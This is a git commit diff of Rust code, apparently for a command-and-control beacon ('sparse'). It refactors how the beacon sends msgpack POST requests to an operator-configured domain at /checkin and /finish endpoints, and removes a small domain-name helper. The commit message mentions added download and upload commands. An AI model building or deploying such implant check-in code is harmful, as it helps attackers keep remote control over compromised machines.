feat: added download and upload commands
redid actions to better support different clients
This commit is contained in:
@@ -7,12 +7,11 @@ use hyper::{body::Incoming, Method, Request};
|
||||
use rand::Rng;
|
||||
|
||||
use sparse_actions::payload_types::Parameters;
|
||||
use sparse_actions::{actions::Action, adapter, error::BeaconError, messages};
|
||||
use sparse_actions::{actions::{Action, CallbackBody}, adapter, error::BeaconError, messages};
|
||||
|
||||
mod callback;
|
||||
mod socket;
|
||||
mod tcp;
|
||||
mod params;
|
||||
|
||||
pub fn install_rustls() {
|
||||
#[cfg(feature = "openssl")]
|
||||
@@ -23,22 +22,29 @@ pub fn install_rustls() {
|
||||
}
|
||||
|
||||
async fn make_request_inner<A, Req>(
|
||||
client: &callback::SClient<A, Full<bytes::Bytes>>,
|
||||
client: &callback::SClient<A, sparse_actions::actions::CallbackBody<A>>,
|
||||
uri: hyper::Uri,
|
||||
req_body: Req
|
||||
) -> Result<Response<Incoming>, BeaconError<A::Error>>
|
||||
where
|
||||
A: adapter::BeaconAdapter + Clone + 'static,
|
||||
Req: serde::Serialize + Clone + Send + Sync + 'static
|
||||
Req: serde::Serialize + Clone + Send + Sync + 'static,
|
||||
{
|
||||
let mut body_buf = Vec::new();
|
||||
req_body.serialize(&mut rmp_serde::Serializer::new(&mut body_buf))?;
|
||||
|
||||
let body: CallbackBody<A> = Box::new(
|
||||
Full::<bytes::Bytes>::from(body_buf)
|
||||
.map_err(|_| sparse_actions::error::BeaconError::GenericHyper(
|
||||
"infallible case encountered".to_string()
|
||||
))
|
||||
);
|
||||
|
||||
let req = Request::builder()
|
||||
.method(Method::POST)
|
||||
.uri(uri)
|
||||
.header("content-type", "application/msgpack")
|
||||
.body(Full::<bytes::Bytes>::from(body_buf))?;
|
||||
.body(body)?;
|
||||
|
||||
let resp = client.request(req).await?;
|
||||
|
||||
@@ -58,7 +64,7 @@ where
|
||||
}
|
||||
|
||||
pub async fn make_bodiless_request<A, Req>(
|
||||
client: &callback::SClient<A, Full<bytes::Bytes>>,
|
||||
client: &callback::SClient<A, sparse_actions::actions::CallbackBody<A>>,
|
||||
uri: hyper::Uri,
|
||||
req_body: Req
|
||||
) -> Result<(), BeaconError<A::Error>>
|
||||
@@ -72,7 +78,7 @@ where
|
||||
}
|
||||
|
||||
pub async fn make_request<A, Req, Resp>(
|
||||
client: &callback::SClient<A, Full<bytes::Bytes>>,
|
||||
client: &callback::SClient<A, sparse_actions::actions::CallbackBody<A>>,
|
||||
uri: hyper::Uri,
|
||||
req_body: Req
|
||||
) -> Result<Resp, BeaconError<A::Error>>
|
||||
@@ -104,7 +110,7 @@ where
|
||||
|
||||
let messages::BeaconConfig { runtime_config, unfinished_actions } = make_request(
|
||||
&client,
|
||||
format!("https://{}/checkin", params::domain_name::<A>(¶ms)?).parse()?,
|
||||
format!("https://{}/checkin", params.domain_name::<A>()?).parse()?,
|
||||
messages::RegisterBeacon {
|
||||
beacon_id: beacon_id.clone(),
|
||||
template_id: params.template_id,
|
||||
@@ -142,7 +148,7 @@ where
|
||||
&client,
|
||||
format!(
|
||||
"https://{}/finish/{}/{}",
|
||||
params::domain_name::<A>(¶ms)?,
|
||||
params.domain_name::<A>()?,
|
||||
beacon_id,
|
||||
cmd_id
|
||||
).parse()?,
|
||||
|
||||
@@ -1,9 +0,0 @@
|
||||
use sparse_actions::{adapter::BeaconAdapter, error::BeaconError, payload_types::Parameters};
|
||||
|
||||
pub fn domain_name<'a, T>(params: &'a Parameters) -> Result<&'a str, BeaconError<T::Error>>
|
||||
where
|
||||
T: BeaconAdapter,
|
||||
{
|
||||
std::str::from_utf8(¶ms.domain_name[..params.domain_name_length as usize])
|
||||
.map_err(Into::into)
|
||||
}
|
||||
Reference in New Issue
Block a user